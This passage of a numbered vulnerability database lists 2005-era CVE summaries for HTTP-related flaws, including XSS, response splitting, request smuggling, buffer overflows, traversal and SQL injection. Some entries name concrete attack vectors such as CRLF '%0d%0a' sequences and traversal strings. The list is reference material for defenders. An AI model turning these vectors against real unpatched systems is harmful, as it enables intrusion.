13128| [CVE-2005-3921] Cross-site scripting (XSS) vulnerability in Cisco IOS Web Server for IOS 12.0(2a) allows remote attackers to inject arbitrary web script or HTML by (1) packets containing HTML that an administrator views via an HTTP interface to the contents of memory buffers, as demonstrated by the URI /level/15/exec/-/buffers/assigned/dump
13129| [CVE-2005-3791] HTTP response splitting vulnerability in phpAdsNew and phpPgAds 2.0.6 and earlier allows remote attackers to inject arbitrary HTML headers via adclick.php and possibly other unspecified vectors.
13130| [CVE-2005-3751] HTTP request smuggling vulnerability in Pound before 1.9.4 allows remote attackers to poison web caches, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with conflicting Content-length and Transfer-encoding headers.
13131| [CVE-2005-3730] Multiple cross-site scripting (XSS) vulnerabilities in HTTPTranslatorServlet in Idetix Software Systems Revize CMS allow remote attackers to inject arbitrary web script or HTML via the (1) resourcetype, (2) objectmap, and (3) redirect parameters, possibly involving setWebSpace.jsp.
13132| [CVE-2005-3721] The default configuration of the HTTP server in Hitachi IP5000 VOIP WIFI Phone 1.5.6 does not require authentication for sensitive configuration pages, which allows remote attackers to modify configuration.
13133| [CVE-2005-3720] The default index page in the HTTP server in Hitachi IP5000 VOIP WIFI Phone 1.5.6 lists sensitive information such as software versions.
13134| [CVE-2005-3665] Multiple cross-site scripting (XSS) vulnerabilities in phpMyAdmin before 2.7.0 allow remote attackers to inject arbitrary web script or HTML via the (1) HTTP_HOST variable and (2) various scripts in the libraries directory that handle header generation.
13135| [CVE-2005-3655] Heap-based buffer overflow in Novell Open Enterprise Server Remote Manager (novell-nrm) in Novell SUSE Linux Enterprise Server 9 allows remote attackers to execute arbitrary code via an HTTP POST request with a negative Content-Length parameter.
13136| [CVE-2005-3653] Heap-based buffer overflow in the iGateway service for various Computer Associates (CA) iTechnology products, in iTechnology iGateway before 4.0.051230, allows remote attackers to execute arbitrary code via an HTTP request with a negative Content-Length field.
13137| [CVE-2005-3633] HTTP response splitting vulnerability in frameset.htm in SAP Web Application Server (WAS) 6.10 through 7.00 allows remote attackers to inject arbitrary HTML headers via the sap-exiturl parameter.
13138| [CVE-2005-3630] Fedora Directory Server before 10 allows remote attackers to obtain sensitive information, such as the password from adm.conf via an IFRAME element, probably involving an Apache httpd.conf configuration that orders "allow" directives before "deny" directives.
13139| [CVE-2005-3621] CRLF injection vulnerability in phpMyAdmin before 2.6.4-pl4 allows remote attackers to conduct HTTP response splitting attacks via unspecified scripts.
13140| [CVE-2005-3594] game_score.php in e107 allows remote attackers to insert high scores via HTTP POST methods utilizing the $player_name, $player_score, and $game_name variables.
13141| [CVE-2005-3557] Directory traversal vulnerability in admin/defaults.php in PHPlist 2.10.1 and earlier allows remote attackers to access arbitrary files via a .. (dot dot) in the selected%5B%5D parameter in an HTTP POST request.
13142| [CVE-2005-3475] Hasbani Web Server (WindWeb) 2.0 allows remote attackers to cause a denial of service (infinite loop) via HTTP crafted GET requests.
13143| [CVE-2005-3450] Unspecified vulnerability in the HTTP Server in Oracle Application Server 1.0 up to 9.0.2.3 has unknown impact and attack vectors, as identified by Oracle Vuln# AS04.
13144| [CVE-2005-3445] Multiple unspecified vulnerabilities in HTTP Server in Oracle Database Server 8i up to 10.1.0.4.2 and Application Server 1.0.2.2 up to 10.1.2.0 have unknown impact and attack vectors, aka Oracle Vuln# (1) DB30 and AS03 or (2) DB31 and AS05.
13145| [CVE-2005-3417] phpBB 2.0.17 and earlier, when the register_long_arrays directive is disabled, allows remote attackers to modify global variables and bypass security mechanisms because PHP does not define the associated HTTP_* variables.
13146| [CVE-2005-3416] phpBB 2.0.17 and earlier, when register_globals is enabled and the session_start function has not been called to handle a session, allows remote attackers to bypass security checks by setting the $_SESSION and $HTTP_SESSION_VARS variables to strings instead of arrays, which causes an array_merge function call to fail.
13147| [CVE-2005-3398] The default configuration of the web server for the Solaris Management Console (SMC) in Solaris 8, 9, and 10 enables the HTTP TRACE method, which could allow remote attackers to obtain sensitive information such as cookies and authentication data from HTTP headers.
13148| [CVE-2005-3352] Cross-site scripting (XSS) vulnerability in the mod_imap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps.
13149| [CVE-2005-3348] HTTP response splitting vulnerability in index.php in phpSysInfo 2.4 and earlier, as used in phpgroupware 0.9.16 and earlier, and egroupware before 1.0.0.009, allows remote attackers to spoof web content and poison web caches via CRLF sequences in the charset parameter.
13150| [CVE-2005-3347] Multiple directory traversal vulnerabilities in index.php in phpSysInfo 2.4 and earlier, as used in phpgroupware 0.9.16 and earlier, and egrouwpware before 1.0.0.009, allow remote attackers to include arbitrary files via .. (dot dot) sequences in the (1) sensor_program parameter or the (2) _SERVER[HTTP_ACCEPT_LANGUAGE] parameter, which overwrites an internal variable, a variant of CVE-2003-0536. NOTE: due to a typo in an advisory, an issue in osh was inadvertently linked to this identifier
13151| [CVE-2005-3330] The _httpsrequest function in Snoopy 1.2, as used in products such as (1) MagpieRSS, (2) WordPress, (3) Ampache, and (4) Jinzora, allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTPS URL to an SSL protected web page, which is not properly handled by the fetch function.
13152| [CVE-2005-3322] Unspecified vulnerability in Squid on SUSE Linux 9.0 allows remote attackers to cause a denial of service (crash) via HTTPs (SSL).
13153| [CVE-2005-3269] Stack-based buffer overflow in help.cgi in the HTTP administrative interface for (1) Sun Java System Directory Server 5.2 2003Q4, 2004Q2, and 2005Q1, (2) Red Hat Directory Server and (3) Certificate Server before 7.1 SP1, (4) Sun ONE Directory Server 5.1 SP4 and earlier, and (5) Sun ONE Administration Server 5.2 allows remote attackers to cause a denial of service (admin server crash), or local users to gain root privileges.
13154| [CVE-2005-3206] iSQL*Plus (isqlplus) for Oracle9i Database Server Release 2 9.0.2.4 allows remote attackers to cause a denial of service (TNS listener stop) via an HTTP request with an sid parameter that contains a STOP command.
13155| [CVE-2005-3204] Cross-site scripting (XSS) vulnerability in Oracle XML DB 9iR2 allows remote attackers to inject arbitrary web script or HTML via the query string in an HTTP request.
13156| [CVE-2005-3190] Buffer overflow in Computer Associates (CA) iGateway 3.0 and 4.0 before 4.0.050623, when running in debug mode, allows remote attackers to execute arbitrary code via HTTP GET requests.
13157| [CVE-2005-3187] The listening daemon in Blue Coat Systems Inc. WinProxy before 6.1a allows remote attackers to cause a denial of service (crash) via a long HTTP request that causes an out-of-bounds read.
13158| [CVE-2005-3185] Stack-based buffer overflow in the ntlm_output function in http-ntlm.c for (1) wget 1.10, (2) curl 7.13.2, and (3) libcurl 7.13.2, and other products that use libcurl, when NTLM authentication is enabled, allows remote servers to execute arbitrary code via a long NTLM username.
13159| [CVE-2005-3182] Buffer overflow in the HTTP management interface for GFI MailSecurity 8.1 allows remote attackers to execute arbitrary code via long headers such as (1) Host and (2) Accept in HTTP requests. NOTE: the vendor suggests that this issues is "in an underlying Microsoft technology" which, if true, could mean that the overflow affects other products as well.
13160| [CVE-2005-3145] httpAdapter.c in sblim-sfcb before 0.9.2 allows remote attackers to cause a denial of service (resource consumption) by connecting to sblim-sfcb but not sending any data.
13161| [CVE-2005-3144] httpAdapter.c in sblim-sfcb before 0.9.2 allows remote attackers to cause a denial of service via long HTTP headers.
13162| [CVE-2005-3124] syslogtocern in Acme thttpd before 2.23 allows local users to write arbitrary files via a symlink attack on a temporary file.
13163| [CVE-2005-3059] Multiple unspecified vulnerabilities in Opera 8.50 on Linux and Windows have unknown impact and attack vectors, related to (1) " handling of must-revalidate cache directive for HTTPS pages" or (2) a "display issue with cookie comment encoding."
13164| [CVE-2005-3058] Interpretation conflict in Fortinet FortiGate 2.8, running FortiOS 2.8MR10 and v3beta, allows remote attackers to bypass the URL blocker via an (1) HTTP request terminated with a line feed (LF) and not carriage return line feed (CRLF) or (2) HTTP request with no Host field, which is still processed by most web servers without violating RFC2616.
13165| [CVE-2005-3033] Stack-based buffer overflow in vxWeb 1.1.4 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
13166| [CVE-2005-3010] Direct static code injection vulnerability in the flood protection feature in inc/shows.inc.php in CuteNews 1.4.0 and earlier allows remote attackers to execute arbitrary PHP code via the HTTP_CLIENT_IP header (Client-Ip), which is injected into data/flood.db.php.
13167| [CVE-2005-2982] Cross-site scripting (XSS) vulnerability in CompaqHTTPServer 2.1 allows remote attackers to inject arbitrary web script or HTML via the URL, which is not properly quoted in the resulting 404 error page.
13168| [CVE-2005-2950] Cross-site scripting (XSS) vulnerability in Sawmill 7.0.0 through 7.1.13 allows remote attackers to inject arbitrary web script or HTML via the query string in an HTTP GET request.
13169| [CVE-2005-2922] Heap-based buffer overflow in the embedded player in multiple RealNetworks products and versions including RealPlayer 10.x, RealOne Player, and Helix Player allows remote malicious servers to cause a denial of service (crash) and possibly execute arbitrary code via a chunked Transfer-Encoding HTTP response in which either (1) the chunk header length is specified as -1, (2) the chunk header with a length that is less than the actual amount of sent data, or (3) a missing chunk header.
13170| [CVE-2005-2916] Linksys WRT54G 3.01.03, 3.03.6, 4.00.7, and possibly other versions before 4.20.7, does not verify user authentication until after an HTTP POST request has been processed, which allows remote attackers to (1) modify configuration using restore.cgi or (2) upload new firmware using upgrade.cgi.
13171| [CVE-2005-2912] Linksys WRT54G router allows remote attackers to cause a denial of service (CPU consumption and server hang) via an HTTP POST request with a negative Content-Length value.
13172| [CVE-2005-2888] Multiple SQL injection vulnerabilities in MyBulletinBoard (MyBB) Preview Release 2 allow remote attackers to execute arbitrary SQL commands via the (1) fid parameter to misc.php or (2) Content-Disposition field in the HTTP header to newreply.php.
13173| [CVE-2005-2874] The is_path_absolute function in scheduler/client.c for the daemon in CUPS before 1.1.23 allows remote attackers to cause a denial of service (CPU consumption by tight loop) via a "..\.." URL in an HTTP request.
13174| [CVE-2005-2861] Cross-site scripting (XSS) vulnerability in N-Stealth Commercial Edition before 5.8.0.38 and Free Edition before 5.8.1.03 allows remote attackers to inject arbitrary web script or HTML via the Server field in an HTTP response header, which is directly injected into an HTML report.
13175| [CVE-2005-2860] Cross-site scripting (XSS) vulnerability in Nikto 1.35 and earlier allows remote attackers to inject arbitrary web script or HTML via the Server field in an HTTP response header, which is directly injected into an HTML report.
13176| [CVE-2005-2853] Multiple cross-site scripting (XSS) vulnerabilities in GuppY 4.5.3a and earlier allow remote attackers to inject arbitrary web script or HTML via (1) the pg parameter to printfaq.php, or the (2) Referer or (3) User-Agent HTTP headers, which are not properly handled by error.php.
13177| [CVE-2005-2830] Microsoft Internet Explorer 5.01, 5.5, and 6, when using an HTTPS proxy server that requires Basic Authentication, sends URLs in cleartext, which allows remote attackers to obtain sensitive information, aka "HTTPS Proxy Vulnerability."
13178| [CVE-2005-2806] client.cpp in BNBT EasyTracker 7.7r3.2004.10.27 and earlier allows remote attackers cause a denial of service (application hang) via an HTTP header containing only a ":" (colon), possibly leading to an integer signedness error due to a missing field name or value.
13179| [CVE-2005-2799] Buffer overflow in apply.cgi in Linksys WRT54G 3.01.03, 3.03.6, and possibly other versions before 4.20.7, allows remote attackers to execute arbitrary code via a long HTTP POST request.
13180| [CVE-2005-2782] PHP remote file inclusion vulnerability in al_initialize.php for AutoLinks Pro 2.1 allows remote attackers to execute arbitrary PHP code via an "ftp://" URL in the alpath parameter, which bypasses the incomplete blacklist that only checks for "http" and "https" URLs.
13181| [CVE-2005-2758] Integer signedness error in the administrative interface for Symantec AntiVirus Scan Engine 4.0 and 4.3 allows remote attackers to execute arbitrary code via crafted HTTP headers with negative values, which lead to a heap-based buffer overflow.
13182| [CVE-2005-2730] The HTTP proxy in Astaro Security Linux 6.0 allows remote attackers to obtain sensitive information via an invalid request, which reveals a Proxy-authorization string in an error message.
13183| [CVE-2005-2729] The HTTP proxy in Astaro Security Linux 6.0 does not properly filter HTTP CONNECT requests to localhost, which allows remote attackers to bypass firewall rules and connect to local services.
13184| [CVE-2005-2728] The byte-range filter in Apache 2.0 before 2.0.54 allows remote attackers to cause a denial of service (memory consumption) via an HTTP header with a large Range field.
13185| [CVE-2005-2721] Multiple cross-site scripting (XSS) vulnerabilities in (1) index.php or (2) admin.php in Foojan PHP Weblog allow remote attackers to inject arbitrary web script or HTML via the Referer field in the HTTP header.
13186| [CVE-2005-2703] Firefox before 1.0.7 and Mozilla Suite before 1.7.12 allows remote attackers to modify HTTP headers of XML HTTP requests via XMLHttpRequest, and possibly use the client to exploit vulnerabilities in servers or proxies, including HTTP request smuggling and HTTP request splitting.
13187| [CVE-2005-2696] IBM Lotus Notes does not properly restrict access to password hashes in the Notes Address Book (NAB), which allows remote attackers to obtain sensitive information via the (1) password digest field in the Administration tab of a Lotus Notes client, (2) "PasswordDigest" and "HTTPPassword" fields in the document properties in the NAB, or (3) a direct query to the Domino LDAP server, a different vulnerability than CVE-2005-2428.
13188| [CVE-2005-2691] includes/common.php in RunCMS 1.2 and earlier calls the extract function with EXTR_OVERWRITE on HTTP POST variables, which allows remote attackers to overwrite arbitrary variables, possibly allowing execution of arbitrary code.
13189| [CVE-2005-2688] Multiple cross-site scripting (XSS) vulnerabilities in SaveWebPortal 3.4 allow remote attackers to inject arbitrary web script or HTML via a large number of parameters to (1) footer.php, (2) header.php, (3) menu_dx.php, or (4) menu_sx.php, or Javascript code in the (5) HTTP_REFERER (referer) or (6) HTTP_USER_AGENT (user agent) fields.
13190| [CVE-2005-2678] Microsoft IIS 5.1 and 6 allows remote attackers to spoof the SERVER_NAME variable to bypass security checks and conduct various attacks via a GET request with an http://localhost URI, which makes it appear as if the request is coming from localhost.
13191| [CVE-2005-2654] phpldapadmin before 0.9.6c allows remote attackers to gain anonymous access to the LDAP server, even when disable_anon_bind is set, via an HTTP request to login.php with the anonymous_bind parameter set.
13192| [CVE-2005-2646] Unknown vulnerability in Xerox MicroServer Web Server in Document Centre 220 through 265, 332 and 340, 420 through 490, and 535 through 555 allows remote attackers to cause a denial of service or read files via unknown vectors involving crafted HTTP requests.
13193| [CVE-2005-2618] Multiple stack-based buffer overflows in Autonomy (formerly Verity) KeyView SDK before 9.2.0, as used in Lotus Notes 6.5.4 and 7.0, allow remote attackers to execute arbitrary code via (1) a UUE file containing an encoded file with a long filename handled by uudrdr.dll, (2) a compressed ZIP file with a long filename handled by kvarcve.dll, (3) a TAR archive with a long filename that is extracted to a directory with a long path handled by the TAR reader (tarrdr.dll), (4) an email that contains a long HTTP, FTP, or // link handled by the HTML speed reader (htmsr.dll) or (5) an email containing a crafted long link handled by the HTML speed reader (htmsr.dll).
13194| [CVE-2005-2455] Greasemonkey before 0.3.5 allows remote web servers to (1) read arbitrary files via a GET request to a file:// URL in the GM_xmlhttpRequest API function, (2) list installed scripts using GM_scripts, or obtain sensitive information via (3) GM_setValue and GM_getValue.
13195| [CVE-2005-2428] Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
13196| [CVE-2005-2420] flsearch.pl in FtpLocate 2.02 allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTP GET request.
13197| [CVE-2005-2383] SQL injection vulnerability in auth.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the user parameter in an HTTP POST request.
13198| [CVE-2005-2361] Unknown vulnerability in the (1) AgentX dissector, (2) PER dissector, (3) DOCSIS dissector, (4) SCTP graphs, (5) HTTP dissector, (6) DCERPC, (7) DHCP, (8) RADIUS dissector, (9) Telnet dissector, (10) IS-IS LSP dissector, or (11) NCP dissector in Ethereal 0.8.19 through 0.10.11 allows remote attackers to cause a denial of service (application crash or abort) via unknown attack vectors.
13199| [CVE-2005-2358] EMC Navisphere Manager 6.4.1.0.0 allows remote attackers to list arbitrary directories via an HTTP request for a directory that ends in a "." (trailing dot).
13200| [CVE-2005-2222] Unknown vulnerability in the HTTPMail service in MailEnable Professional before 1.6 has unknown impact and attack vectors.
13201| [CVE-2005-2201] Unknown vulnerability in the MicroServer Web Server for Xerox WorkCentre Pro Color 2128, 2636, and 3545, version 0.001.04.044 through 0.001.04.504, allow attackers to cause a denial of service or access files via crafted HTTP requests.
13202| [CVE-2005-2149] config.php in Cacti 0.8.6e and earlier allows remote attackers to set the no_http_headers switch, then modify session information to gain privileges and disable the use of addslashes to conduct SQL injection attacks.
13203| [CVE-2005-2108] SQL injection vulnerability in XMLRPC server in WordPress 1.5.1.2 and earlier allows remote attackers to execute arbitrary SQL commands via input that is not filtered in the HTTP_RAW_POST_DATA variable, which stores the data in an XML file.
13204| [CVE-2005-2094] Sun SunONE web server 6.1 SP1 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes SunONE to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13205| [CVE-2005-2093] Oracle 9i Application Server (Oracle9iAS) 9.0.2 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Application Server to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13206| [CVE-2005-2092] BEA Systems WebLogic 8.1 SP1 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes WebLogic to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13207| [CVE-2005-2091] IBM WebSphere 5.1 and WebSphere 5.0 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes WebSphere to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13208| [CVE-2005-2090] Jakarta Tomcat 5.0.19 (Coyote/1.1) and Tomcat 4.1.24 (Coyote/1.0) allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Tomcat to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13209| [CVE-2005-2089] Microsoft IIS 5.0 and 6.0 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes IIS to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13210| [CVE-2005-2088] The Apache HTTP server before 1.3.34, and 2.0.x before 2.0.55, when acting as an HTTP proxy, allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Apache to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
13211| [CVE-2005-2065] HTTP response splitting vulnerability in language_select.asp in ASP Nuke 0.80 allows remote attackers to spoof web content and poison web caches via CRLF ("%0d%0a") sequences in the LangCode parameter.
13212| [CVE-2005-2060] Multiple HTTP Response Splitting vulnerabilities in (1) toggleshow.php, (2) togglecats.php, and (3) showprofile.php in Infopop UBB.Threads before 6.5.2 Beta allow remote attackers to spoof web content and poison web caches via CRLF ("%0d%0a") sequences in the Cat parameter.
13213| [CVE-2005-2041] Buffer overflow in addschup in HAURI ViRobot 2.0, and possibly other products, allows remote attackers to execute arbitrary code via a long ViRobot_ID cookie (HTTP_COOKIE).
13214| [CVE-2005-2028] SQL injection vulnerability in index.php for MercuryBoard 1.1.4 and earlier allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
13215| [CVE-2005-1953] Heap-based buffer overflow in the CGI extension for Pico Server (pServ) 3.3 allows remote attackers to execute arbitrary code via a long HTTP request.
13216| [CVE-2005-1951] Multiple HTTP Response Splitting vulnerabilities in osCommerce 2.2 Milestone 2 and earlier allow remote attackers to spoof web content and poison web caches via hex-encoded CRLF ("%0d%0a") sequences in the (1) products_id or (2) pid parameter to index.php or (3) goto parameter to banner.php.
13217| [CVE-2005-1935] Heap-based buffer overflow in the BERDecBitString function in Microsoft ASN.1 library (MSASN1.DLL) allows remote attackers to execute arbitrary code via nested constructed bit strings, which leads to a realloc of a non-null pointer and causes the function to overwrite previously freed memory, as demonstrated using a SPNEGO token with a constructed bit string during HTTP authentication, and a different vulnerability than CVE-2003-0818. NOTE: the researcher has claimed that MS:MS04-007 fixes this issue.
13218| [CVE-2005-1909] The web server control panel in 602LAN SUITE 2004 allows remote attackers to make it more difficult for the administrator to read portions of log files via a "</pre><!-" sequence in an HTTP GET request in the logon, possibly due to a cross-site scripting (XSS) vulnerability.
13219| [CVE-2005-1894] Direct code injection vulnerability in FlatNuke 2.5.3 allows remote attackers to execute arbitrary PHP code by placing the code into the Referer header of an HTTP request, which causes the code to be injected into referer.php, which can then be accessed by the attacker.
13220| [CVE-2005-1857] Format string vulnerability in simpleproxy before 3.4 allows remote malicious HTTP proxies to execute arbitrary code via format string specifiers in a reply.
13221| [CVE-2005-1836] NEXTWEB (i)Site allows remote attackers to cause a denial of service (error 500) via a crafted HTTP request, possibly involving wildcard requests for .jsp files.
13222| [CVE-2005-1798] Directory traversal vulnerability in ServersCheck Monitoring Software 5.9.0 to 5.10.0 allows remote attackers to read arbitrary files via .. (dot dot) sequences in an HTTP request.
13223| [CVE-2005-1708] templates.admin.users.user_form_processing in Blue Coat Reporter before 7.1.2 allows authenticated users to gain administrator privileges via an HTTP POST that sets volatile.user.administrator to true.
13224| [CVE-2005-1691] Directory traversal vulnerability in Internet Graphics Server in SAP before 6.40 Patch 11 allows remote attackers to read arbitrary files via ".." sequences in an HTTP GET request.
13225| [CVE-2005-1667] DataTrac Activity Console 1.1 allows remote attackers to cause a denial of service via a long HTTP GET request.
13226| [CVE-2005-1666] Multiple buffer overflows in Orenosv HTTP/FTP Server 0.8.1 allow remote authenticated users to cause a denial of service (server crash) and possibly execute arbitrary code via long arguments to FTP commands such as MKD, RMD, or DELE, which are processed by the (1) ftp_xlate_path, (2) ftp_is_canonical, or (3) os_fn_nativize functions, or (4) a long SSI command that is processed by the parse_cmd function in cgissi.exe.
13227| [CVE-2005-1576] The file download dialog in Mozilla Firefox 0.10.1 and 1.0 for Windows uses the Content-Type HTTP header to determine the file type, but saves the original file extension when "Save to Disk" is selected, which allows remote attackers to hide the real file types of downloaded files.
13228| [CVE-2005-1575] The file download dialog in Mozilla Firefox 0.10.1 and 1.0 for Windows allows remote attackers to hide the real file types of downloaded files via the Content-Type HTTP header and a filename containing whitespace, dots, or ASCII byte 160.
13229| [CVE-2005-1527] Eval injection vulnerability in awstats.pl in AWStats 6.4 and earlier, when a URLPlugin is enabled, allows remote attackers to execute arbitrary Perl code via the HTTP Referrer, which is used in a $url parameter that is inserted into an eval function call.
13230| [CVE-2005-1517] Unknown vulnerability in Cisco Firewall Services Module (FWSM) 2.3.1 and earlier, when using URL, FTP, or HTTPS filtering exceptions, allows certain TCP packets to bypass access control lists (ACLs).
13231| [CVE-2005-1475] The XMLHttpRequest object in Opera 8.0 Final Build 1095 allows remote attackers to bypass access restrictions and perform unauthorized actions on other domains via a redirect.
13232| [CVE-2005-1421] Directory traversal vulnerability in Raysoft/Raybase Video Cam Server 1.0.0 beta allows remote attackers to read arbitrary files via ".." (dot dot) sequences in an HTTP request.
13233| [CVE-2005-1405] HTTP response splitting vulnerability in the @SetHTTPHeader function in Lotus Domino 6.5.x before 6.5.4 and 6.0.x before 6.0.5 allows attackers to poison the web cache via malicious applications.
13234| [CVE-2005-1391] Buffer overflow in the add_port function in APSIS Pound 1.8.2 and earlier allows remote attackers to execute arbitrary code via a long Host HTTP header.
13235| [CVE-2005-1385] Safari 1.3 allows remote attackers to cause a denial of service (application crash) via a long https URL that triggers a NULL pointer dereference.
13236| [CVE-2005-1383] The OHS component 1.0.2 through 10.x, when UseWebcacheIP is disabled, in Oracle Application Server allows remote attackers to bypass HTTP Server mod_access restrictions via a request to the webcache TCP port 7778.
13237| [CVE-2005-1348] Buffer overflow in HTTPMail in MailEnable Enterprise 1.04 and earlier and Professional 1.54 and earlier allows remote attackers to execute arbitrary code via a long HTTP Authorization header.
13238| [CVE-2005-1345] Squid 2.5.STABLE9 and earlier does not trigger a fatal error when it identifies missing or invalid ACLs in the http_access configuration, which could lead to less restrictive ACLs than intended by the administrator.
13239| [CVE-2005-1340] The HTTP proxy service in Server Admin for Mac OS X 10.3.9 does not restrict access when it is enabled, which allows remote attackers to use the proxy.
13240| [CVE-2005-1284] The addnew script in Argosoft Mail Server Pro 1.8.7.6 allows remote attackers to create arbitrary accounts, even if "Allow Creation of Accounts From the Web Interface" is disabled, via a direct HTTP POST request.
13241| [CVE-2005-1274] Stack-based buffer overflow in the getIfHeader function in the WebDAV functionality in MySQL MaxDB before 7.5.00.26 allows remote attackers to execute arbitrary code via an HTTP unlock request and a long "If" parameter.
13242| [CVE-2005-1215] Microsoft ISA Server 2000 allows remote attackers to poison the ISA cache or bypass content restriction policies via a malformed HTTP request packet containing multiple Content-Length headers.
13243| [CVE-2005-1180] HTTP Response Splitting vulnerability in the Surveys module in PHP-Nuke 7.6 allows remote attackers to spoof web content and poison web caches via hex-encoded CRLF ("%0d%0a") sequences in the forwarder parameter.
13244| [CVE-2005-1128] Multiple SQL injection vulnerabilities in VHCS 2.4 and earlier allow remote attackers to execute arbitrary SQL commands via certain inputs from HTTP POST queries.
13245| [CVE-2005-1122] Format string vulnerability in cgi.c for Monkey daemon (monkeyd) before 0.9.1 allows remote attackers to cause a denial of service and possibly execute arbitrary code via an HTTP GET request containing double-encoded format string specifiers (aka "double expansion error").
13246| [CVE-2005-1112] IBM WebSphere Application Server 6.0 and earlier, when sharing the document root of the web server, allows remote attackers to obtain the source code for Java Server Pages (.jsp) via an HTTP request with an invalid Host header, which causes the page to be processed by the web server instead of the JSP engine.
13247| [CVE-2005-1110] Stack-based buffer overflow in the RespondeHTTPPendiente function in the HTTP server for SUMUS 0.2.2 allows remote attackers to execute arbitrary code via a large packet sent to TCP port 81.
13248| [CVE-2005-1108] The ij_untrusted_url function in JunkBuster 2.0.2-r2, with single-threaded mode enabled, allows remote attackers to overwrite the referrer field via a crafted HTTP request.
13249| [CVE-2005-1087] CRLF injection vulnerability in the cmdIS.DLL plugin for AN HTTPD Server 1.42n allows remote attackers to spoof or hide entries in the logfile, and possibly read files using an injected type command, via CRLF sequences in an HTTP request.
13250| [CVE-2005-1086] Buffer overflow in the cmdIS.DLL plugin for AN HTTPD Server 1.42n allows remote attackers to execute arbitrary code via an HTTP request with a long User-Agent header.
13251| [CVE-2005-0986] NLSCCSTR.DLL in the web service in IBM Lotus Domino Server 6.5.1, 6.0.3, and possibly other versions allows remote attackers to cause a denial of service (deep recursion and nHTTP.exe process crash) via a long GET request containing UNICODE decimal value 430 characters, which causes the stack to be exhausted. NOTE: IBM has reported that it is unable to replicate this issue.
13252| [CVE-2005-0976] AppleWebKit (WebCore and WebKit), as used in multiple products such as Safari 1.2 and OmniGroup OmniWeb 5.1, allows remote attackers to read arbitrary files via the XMLHttpRequest Javascript component, as demonstrated using automatically mounted disk images and file:// URLs.
13253| [CVE-2005-0943] Cisco VPN 3000 series Concentrator running firmware 4.1.7.A and earlier allows remote attackers to cause a denial of service (device reload or drop user connection) via a crafted HTTPS packet.
13254| [CVE-2005-0915] Webmasters-Debutants WD Guestbook 2.8 allows remote attackers to bypass authentication and perform certain administrator actions via a direct HTTP POST request to (1) ajout_admin2.php or (2) suppr.php.
13255| [CVE-2005-0886] Cross-site scripting (XSS) vulnerability in Invision Power Board 2.0.2 and earlier allows remote attackers to inject arbitrary web script or HTML via an HTTP POST request.
13256| [CVE-2005-0875] Multiple buffer overflows in the Yahoo plug-in for Trillian 2.0, 3.0, and 3.1 allow remote web servers to cause a denial of service (application crash) via a long string in an HTTP 1.1 response header.
13257| [CVE-2005-0874] Multiple buffer overflows in the (1) AIM, (2) MSN, (3) RSS, and other plug-ins for Trillian 2.0 allow remote web servers to cause a denial of service (application crash) via a long string in an HTTP 1.1 response header.
13258| [CVE-2005-0865] Samsung ADSL Modem SMDK8947v1.2 uses default passwords for the (1) root, (2) admin, or (3) user users, which allows remote attackers to gain privileges via Telnet or an HTTP request to adsl.cgi.
13259| [CVE-2005-0864] The Boa web server, as used in Samsung ADSL Modem SMDK8947v1.2 and possibly other products, allows remote attackers to read arbitrary files via a full pathname in the HTTP request.
13260| [CVE-2005-0843] CRLF injection vulnerability in search.php in Phorum 5.0.14a allows remote attackers to perform HTTP Response Splitting attacks via the body parameter, which is included in the resulting Location header.
13261| [CVE-2005-0807] Multiple buffer overflows in Cain & Abel before 2.67 allow remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via (1) an IKE packet with a large ID field that is not properly handled by the PSK sniffer filter, (2) the HTTP sniffer filter, or the (3) POP3, (4) SMTP, (5) IMAP, (6) NNTP, or (7) TDS sniffer filters.
13262| [CVE-2005-0734] PY Software Active Webcam WebServer (webcam.exe) 5.5 allows remote attackers to cause a denial of service (memory exhaustion and process crash) via a large number of HTTP requests.
13263| [CVE-2005-0733] PY Software Active Webcam WebServer (webcam.exe) 5.5 allows remote attackers to determine the existence of files via an HTTP request with a full pathname, which produces different messages whether the file exists or not.
